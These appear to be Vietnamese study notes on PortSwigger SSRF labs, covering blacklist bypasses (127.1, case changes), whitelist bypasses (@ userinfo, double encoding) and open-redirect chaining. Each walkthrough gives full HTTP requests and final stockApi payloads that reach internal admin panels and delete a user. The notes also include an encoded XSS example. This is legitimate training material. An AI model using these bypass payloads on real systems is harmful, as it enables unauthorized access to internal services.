SSRF with Blacklist-based Input Filters

Một số ứng dụng có thể block các input có chứa các hostname chẳng hạn như 127.0.0.1localhost hoặc các endpoint nhạy cảm chẳng hạn như /admin. Trong trường hợp này, ta có thể vượt qua bằng cách sử dụng các kỹ thuật sau:

  • Sử dụng một dạng biểu diển IP khác của 127.0.0.1 chẳng hạn như 2130706433017700000001 hoặc 127.1.
  • Đăng ký một tên miền mà phân giải thành 127.0.0.1.
  • Làm rối các chuỗi bị chặn bằng cách sử dụng URL encode hoặc sử dụng các chữ in hoa và in thường lẫn lộn.
  • Cung cấp một URL mà ta kiểm soát và có thể chuyển hướng về URL mục tiêu. Sử dụng những redirect code cũng như là các protocol khác nhau. Ví dụ, việc chuyển từ https: thành http: trong quá trình redirect có thể giúp bypass một số anti-SSRF filter.

Lab: SSRF with Blacklist-based Input Filter

Mô tả lab:

  • Lab này có chức năng kiểm tra tồn kho thực hiện lấy dữ liệu từ hệ thống nội bộ.
  • Mục tiêu là truy cập giao diện admin tại http://localhost/admin để xóa người dùng carlos.
  • Lập trình viên có sử dụng hai cách phòng chống SSRF yếu mà ta cần bypass.

Request kiểm tra tồn kho có dạng như sau:

POST /product/stock HTTP/2
Host: 0a5c005104c8081e85678f28003400d2.web-security-academy.net
Cookie: session=EmuFDNs55ngVMs6istalZN8Lxms56KMJ
Content-Length: 107
Sec-Ch-Ua: "Not(A:Brand";v="24", "Chromium";v="122"
Sec-Ch-Ua-Platform: "Windows"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.112 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: */*
Origin: https://0a5c005104c8081e85678f28003400d2.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0a5c005104c8081e85678f28003400d2.web-security-academy.net/product?productId=1
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=1, i
 
stockApi=http%3A%2F%2Fstock.weliketoshop.net%3A8080%2Fproduct%2Fstock%2Fcheck%3FproductId%3D1%26storeId%3D1

Thử thay thành giá trị của stockApi thành http://127.1 thì nhận được response là trang chủ (endpoint /). Sau đó, dùng endpoint là /Admin thay vì /admin thì thu được trang giao diện của admin và có đoạn code như sau;

<section>
	<h1>Users</h1>
	<div>
		<span>wiener - </span>
		<a href="/admin/delete?username=wiener">Delete</a>
	</div>
	<div>
		<span>carlos - </span>
		<a href="/admin/delete?username=carlos">Delete</a>
	</div>
</section>

Thay URL thành http://127.1/Admin/delete?username=carlos để xóa người dùng carlos.

SSRF with Whitelist-based Input Filters

Một số ứng dụng sử dụng whitelist bao gồm các giá trị được phép tồn tại trong input (có thể ở đầu hoặc ở giữa) và filter tất cả các giá trị khác. Chúng ta có thể bypass filter này bằng cách khai thác tính không nhất quán trong việc phân tách URL giữa các thành phần trong ứng dụng.

Các ví dụ:

  • Khi sử dụng HTTP basic authentication, credentials có thể được nhúng vào URL trước host name1 bằng cách sử dụng ký tự @ . Cú pháp: [ userinfo "@" ] host [ ":" port ]. Ví dụ:

    https://expected-host:fakepassword@evil-host
    
  • Sử dụng ký tự # để chỉ định URL fragment:

    https://evil-host#expected-host
    
  • Sử dụng expected hostname như là subdomain của một domain mà ta kiểm soát:

    https://expected-host.evil-host
    
  • Thực hiện URL-encode các ký tự để gây bối rối cho các đoạn code parse URL. Cách làm này là hữu ích nếu đoạn code triển khai filter xử lý các ký tự được URL encode khác với đoạn code thực hiện gửi back-end request. Thậm chí, ta cũng có thể URL-encode hai lần vì một số WAF chỉ URL-decode một lần2. Ví dụ, xét URL sau:

    [...]/?search=%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E
    

    URL trên khi được encode một lần nữa sẽ là:

    [...]/?search=%253Cimg%2520src%253Dx%2520onerror%253Dalert(1)%253E
    
  • Sử dụng kết hợp các kỹ thuật trên.

Lab: SSRF with Whitelist-based Input Filter

Mô tả lab:

  • Lab này có chức năng kiểm tra tồn kho thực hiện lấy dữ liệu từ hệ thống nội bộ.
  • Mục tiêu là truy cập giao diện admin tại http://localhost/admin để xóa người dùng carlos.
  • Lập trình viên có sử dụng một cách phòng chống SSRF mà ta cần bypass.

Request kiểm tra tồn kho có dạng như sau:

POST /product/stock HTTP/2
Host: 0a1b003303e6a2d181603942008b0087.web-security-academy.net
Cookie: session=75icMcnOfv4Y6ifMup2oVzfvYoTFiEuf
Content-Length: 107
Sec-Ch-Ua: "Microsoft Edge";v="123", "Not:A-Brand";v="8", "Chromium";v="123"
Sec-Ch-Ua-Platform: "Linux"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Edg/123.0.0.0
Content-Type: application/x-www-form-urlencoded
Accept: */*
Origin: https://0a1b003303e6a2d181603942008b0087.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0a1b003303e6a2d181603942008b0087.web-security-academy.net/product?productId=1
Accept-Encoding: gzip, deflate, br
Accept-Language: vi,en-US;q=0.9,en;q=0.8
 
stockApi=http%3A%2F%2Fstock.weliketoshop.net%3A8080%2Fproduct%2Fstock%2Fcheck%3FproductId%3D1%26storeId%3D1

Thử với 127.1 thì nhận được response sau:

HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 58
 
"External stock check host must be stock.weliketoshop.net"

Thử thêm localhost@ vào trước hostname stock.weliketoshop.net, URL trở thành:

stockApi=http://localhost@stock.weliketoshop.net:8080?productId=1&storeId=1

Lúc này, localhost đóng vai trò là username gửi đến stock.weliketoshop.net.

Response có status code là 200.

Ta giả sử phần code filter URL xem localhost là username nhưng phần code gửi request cho back-end lại xem localhost là hostname. Thử thêm endpoint /:

stockApi=http://localhost/@stock.weliketoshop.net:8080?productId=1&storeId=1

Dạng URL encode:

stockApi=http%3a%2f%2flocalhost%2f%40stock.weliketoshop.net%3a8080%3fproductId%3d1%26storeId

Response nhận được là:

HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 58
 
"External stock check host must be stock.weliketoshop.net"

Thử double encode ký tự / (thay % thành %25):

stockApi=http%3a%2f%2flocalhost%252f%40stock.weliketoshop.net%3a8080%3fproductId%3d1%26storeId&storeId

Response nhận được có status code là 200 và là trang sản phẩm (endpoint /). Ngoài ra, trang này có một đoạn code như sau:

<header class="navigation-header">
<section class="top-links">
	<a href=/>Home</a><p>|</p>
	<a href="/admin">Admin panel</a><p>|</p>
	<a href="/my-account">My account</a><p>|</p>
</section>

Có thể thấy, đã xuất hiện trang admin.

Thử dùng endpoint là /admin (vẫn double encode ký tự /):

stockApi=http://localhost/admin@stock.weliketoshop.net:8080?productId=1&storeId=1

Response không có sự thay đổi so với endpoint /.

Hint

Đáp án không sử dụng path ở phần username mà sử dụng path ở sau phần hostname.

Chuyển endpoint /admin về sau phần hostname và xóa các query param không cần thiết:

stockApi=http://localhost/@stock.weliketoshop.net:8080/admin

Response thu được có đoạn code sau:

<section>
	<h1>Users</h1>
	<div>
		<span>wiener - </span>
		<a href="/admin/delete?username=wiener">Delete</a>
	</div>
	<div>
		<span>carlos - </span>
		<a href="/admin/delete?username=carlos">Delete</a>
	</div>
</section>

Payload dùng để xóa người dùng carlos:

stockApi=http://localhost/@stock.weliketoshop.net:8080/admin/delete?username=carlos

Bypassing SSRF Filters via Open Redirection

Nếu có một API nào đó hỗ trợ cơ chế chuyển hướng mở (open redirect), attacker có thể chuyển hướng đến một địa chỉ tùy ý thông qua API được dùng để gửi request đến backend.

Ví dụ, URL sau sẽ chuyển hướng tới http://evil-user.net:

/product/nextProduct?currentProductId=6&path=http://evil-user.net

Cụ thể, attacker có thể tận dụng điều này để bypass URL filter và khai thác SSRF:

POST /product/stock HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 118
 
stockApi=http://weliketoshop.net/product/nextProduct?currentProductId=6&path=http://192.168.0.68/admin

Lab: SSRF with Filter Bypass via Open Redirection Vulnerability

Mô tả lab:

  • Lab này có chức năng kiểm tra tồn kho thực hiện lấy dữ liệu từ hệ thống nội bộ.
  • Mục tiêu là truy cập giao diện admin tại http://192.168.0.12:8080/admin để xóa người dùng carlos.

Request kiểm tra tồn kho không có query param chứa URL:

POST /product/stock HTTP/2
Host: 0afe003f040cc6458185768b00c60097.web-security-academy.net
Cookie: session=gU00A8BI55Wt0v9xL8etpEYscGbUV3PY
Content-Length: 65
Sec-Ch-Ua: "Chromium";v="124", "Microsoft Edge";v="124", "Not-A.Brand";v="99"
Sec-Ch-Ua-Platform: "Windows"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0
Content-Type: application/x-www-form-urlencoded
Accept: */*
Origin: https://0afe003f040cc6458185768b00c60097.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0afe003f040cc6458185768b00c60097.web-security-academy.net/product?productId=2
Accept-Encoding: gzip, deflate, br
Accept-Language: vi,en-US;q=0.9,en;q=0.8
Priority: u=1, i
 
stockApi=/product/stock/check?productId=1&storeId=1

Request chuyển sang sản phẩm kế tiếp có query param path có thể chứa URL:

GET /product/nextProduct?currentProductId=1&path=/product?productId=2 HTTP/2
Host: 0a0e006104f82c3f819cda1b009100ec.web-security-academy.net
Cookie: session=QHyEasXvLnPZDlD5Ig8hQifF57P1mksg; session=HL6PlpC4ey0XVZtwtDjQnXxp3xZ3r7K8
Sec-Ch-Ua: "Microsoft Edge";v="123", "Not:A-Brand";v="8", "Chromium";v="123"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Edg/123.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a0e006104f82c3f819cda1b009100ec.web-security-academy.net/product?productId=1
Accept-Encoding: gzip, deflate, br
Accept-Language: vi,en-US;q=0.9,en;q=0.8

Tuy nhiên, nếu sử dụng giá trị của pathhttp://192.168.0.12:8080/admin:

GET /product/nextProduct?productId=1&path=http://192.168.0.12:8080/admin HTTP/2
Host: 0afe003f040cc6458185768b00c60097.web-security-academy.net
Cookie: session=gU00A8BI55Wt0v9xL8etpEYscGbUV3PY
Sec-Ch-Ua: "Chromium";v="124", "Microsoft Edge";v="124", "Not-A.Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0afe003f040cc6458185768b00c60097.web-security-academy.net/product/nextProduct?productId=1&path=%2fproduct%2fnextProduct%3fproductId%3d1%26path%3d%2fhttp%3a%2f%2f127.1
Accept-Encoding: gzip, deflate, br
Accept-Language: vi,en-US;q=0.9,en;q=0.8
Priority: u=0, i

Thì response có dạng như sau:

HTTP/2 302 Found
Location: http://192.168.0.12:8080/admin
X-Frame-Options: SAMEORIGIN
Content-Length: 0

Response này sẽ redirect đến địa chỉ IP nội bộ của chúng ta thay vì địa chỉ nội bộ của ứng dụng:

GET /admin HTTP/1.1
Host: 192.168.0.12:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: vi,en-US;q=0.9,en;q=0.8

Như vậy, endpoint /product/nextProduct không được dùng để tấn công.

Hint

Đáp án khai thác param stockApi ở request kiểm tra tồn kho (đề bài cũng đã đề cập là lỗ hổng tồn tại ở chức năng kiểm tra tồn kho 🤦‍♀️).

Ta sẽ lợi dụng tính năng redirect của endpoint /product/nextProduct để redirect đến địa chỉ mong muốn thông qua param stockApi. Cụ thể, thay giá trị của stockApi thành /product/nextProduct?productId=1&path=http://192.168.0.12:8080/admin:

POST /product/stock HTTP/2
Host: 0afe003f040cc6458185768b00c60097.web-security-academy.net
Cookie: session=gU00A8BI55Wt0v9xL8etpEYscGbUV3PY
Content-Length: 90
Sec-Ch-Ua: "Chromium";v="124", "Microsoft Edge";v="124", "Not-A.Brand";v="99"
Sec-Ch-Ua-Platform: "Windows"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0
Content-Type: application/x-www-form-urlencoded
Accept: */*
Origin: https://0afe003f040cc6458185768b00c60097.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0afe003f040cc6458185768b00c60097.web-security-academy.net/product?productId=2
Accept-Encoding: gzip, deflate, br
Accept-Language: vi,en-US;q=0.9,en;q=0.8
Priority: u=1, i
 
stockApi=/product/nextProduct?path=http://192.168.0.12:8080/admin

Response có đoạn code như sau:

<section>
	<h1>Users</h1>
	<div>
		<span>wiener - </span>
		<a href="/http://192.168.0.12:8080/admin/delete?username=wiener">Delete</a>
	</div>
	<div>
		<span>carlos - </span>
		<a href="/http://192.168.0.12:8080/admin/delete?username=carlos">Delete</a>
	</div>
</section>

Chỉnh sủa giá trị của stockApi để xóa người dùng carlos:

stockApi=/product/nextProduct?path=http://192.168.0.12:8080/admin/delete?username=carlos
list
from outgoing([[Port Swigger - Circumventing Common SSRF Defenses]])
sort file.ctime asc

Resources

Footnotes

  1. tham khảo RFC 3986 - Uniform Resource Identifier (URI): Generic Syntax (ietf.org)

  2. tham khảo Obfuscating attacks using encodings | Web Security Academy (portswigger.net)